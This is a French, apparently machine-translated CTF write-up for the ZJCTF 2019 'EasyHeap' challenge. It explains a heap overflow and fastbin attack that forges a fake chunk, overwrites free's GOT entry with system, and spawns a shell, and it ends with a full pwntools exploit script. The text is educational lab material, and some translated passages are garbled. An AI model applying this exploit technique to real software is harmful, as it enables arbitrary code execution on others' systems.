ZJCTF_2019_Enregistrement de test EasyHeap

1. Préparation

insérez la description de l'image ici

1.edit_heap

insérez la description de l'image ici
2. create_heap
insérez la description de l'image ici
3.delete_heap
insérez la description de l'image ici

2. Idées de résolution de problèmes

Comme on peut le voir à partir des trois fonctions ci-dessus, le programme maintient un tableau de tas heaparray, qui stocke l'adresse du morceau après malloc. La chose la plus importante est la fonction edit_heap. Lorsqu'une adresse de morceau est écrite dans le heaparray, elle peut être écrit dans le morceau via cette fonction. Si vous écrivez d'autres adresses dans le heaparray, n'importe quelle adresse, alors la clé de ce problème est d'abord d'écrire l'adresse d'une table GOT de fonction dans le heaparray, puis de réécrire la table GOT via le edit_heap fonction (car edit_heap peut pointer vers un espace d'adressage à écrire).
Utilisez l'attaque fastbin pour écrire l'adresse d'une table got dans heap_array (où se trouve la fausse adresse de bloc), puis utilisez edit pour écrire l'adresse système dans la table got

3. Processus de résolution de problèmes

Méthode 1 : attaque fastbin

(1) Demander un morceau

En fait, tant que vous postulez pour un morceau qui peut entrer dans fastbin

create(0x60,'aaaa') # chunk 0
create(0x60,'bbbb') # chunk 1
create(0x60,'cccc') # chunk 2

Pourquoi demander trois au lieu de deux :
nous voulons utiliser le morceau n° 0 comme un morceau forgé pour écrire le système dans le heaparray, c'est-à-dire heaparray[0], le morceau n° 1 est utilisé comme morceau binsh, et le n ° 2 est utilisé comme le morceau débordé.
Je ne sais pas si cela a quelque chose à voir avec la prévention de la double libération. (Ne vous entraînez pas à relâcher le même morceau deux fois de suite)

(2) Débordement de tas

free(2) # 释放 heap2 让其进入 fastbin
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)

Le contenu du tas à ce moment :
insérez la description de l'image ici

pourquoi l'adresse de bloc falsifiée ici est 0x6020ad :
insérez la description de l'image ici

Cette fois, l'intention est de changer l'emplacement de l'adresse chunk0 d'enregistrement correspondante au début de heaparray (0x0000000001eb7010 à la deuxième position en pointillé, et le gdb montre l'ordre little endian) à l'adresse plt du système (mon environnement expérimental sys. plt ici n'est disponible que dans ubuntu Ensuite, il faut trouver un morceau dont l'adresse de départ est située au-dessus, et le bit de taille correspondant au morceau est ( 0x000000000000007xle bit binaire le plus bas de x n'est pas 0), et ce morceau n'est pas vérifié pour l'alignement , l'adresse de début de son adresse n'est donc pas requise. Trouvez ensuite la position de départ des données d'un size>=chunk au décalage du heaparray, et trouvez un morceau qui répond à une telle condition. Si vous souhaitez effectuer une recherche, utilisez la commande illustrée dans la figure ci-dessus, recherchez le premier trait de soulignement (notez qu'il s'agit de little endian), utilisez-le comme bit de taille du morceau et recherchez l'adresse où se trouve le bit de taille lorsqu'il est le bit de taille du chunk : 0x6020b5, Lorsque ce programme little-endian lit cette adresse, le contenu lu est : 0x00000000000000007f, l'adresse de taille + 8 est l'adresse de début des données de ce chunk : 0x6020bd, et l'adresse de fin du heaparray record chunk0 address est 0x6020e7, Enfin offset = 0x6020e7-0x6020bd = 0x3a=42 < size of chunk = 0x7f, donc ce faux chunk est disponible, donc l'adresse du faux chunk est : adresse de la taille du chunk - 0x8 = 0x6020ad
insérez la description de l'image ici

(3) Modifier le contenu de l'emplacement où l'adresse chunk0 est stockée dans le heaparray

payload = 'a' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)

'a' * 3 + p64(0) * 4La raison en est que le décalage entre l'adresse de départ 0x6020bd des données de bloc et le heaparray 0x6020e0 que nous venons de mentionner est : 3+8*4
insérez la description de l'image ici

(4) Altérer la table obtenue


payload = p64(elf.plt['system'])
edit(0,len(payload),payload)

(5) Système d'appel

free(1)

exp.py


# -*- coding: utf-8 -*-
# py2
from pwn import *
 
p = process('./easyheap')
# p = remote('node4.buuoj.cn' ,29965)
elf = ELF('./easyheap')

context.log_level = 'debug'

def create(size,content): 
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap:')
    p.send(str(content))
 
def edit(index,size,content): 
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap : ')
    p.send(str(content))
 
def free(index): 
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))
 
free_got = elf.got['free']
 
create(0x60,'aaaa') 
create(0x60,'bbbb') 
create(0x60,'cccc') 
free(2)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
create(0x60,'aaaa') # chunk 2 (从 fastbin 里取出的)

create(0x60,'c') # chunk 3 / idx = 0 (Fake)

payload = 'a' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)

payload = p64(elf.plt['system'])
edit(0,len(payload),payload)

free(1)

p.interactive()

Je suppose que tu aimes

Origine blog.csdn.net/weixin_52111404/article/details/129354626
conseillé
Classement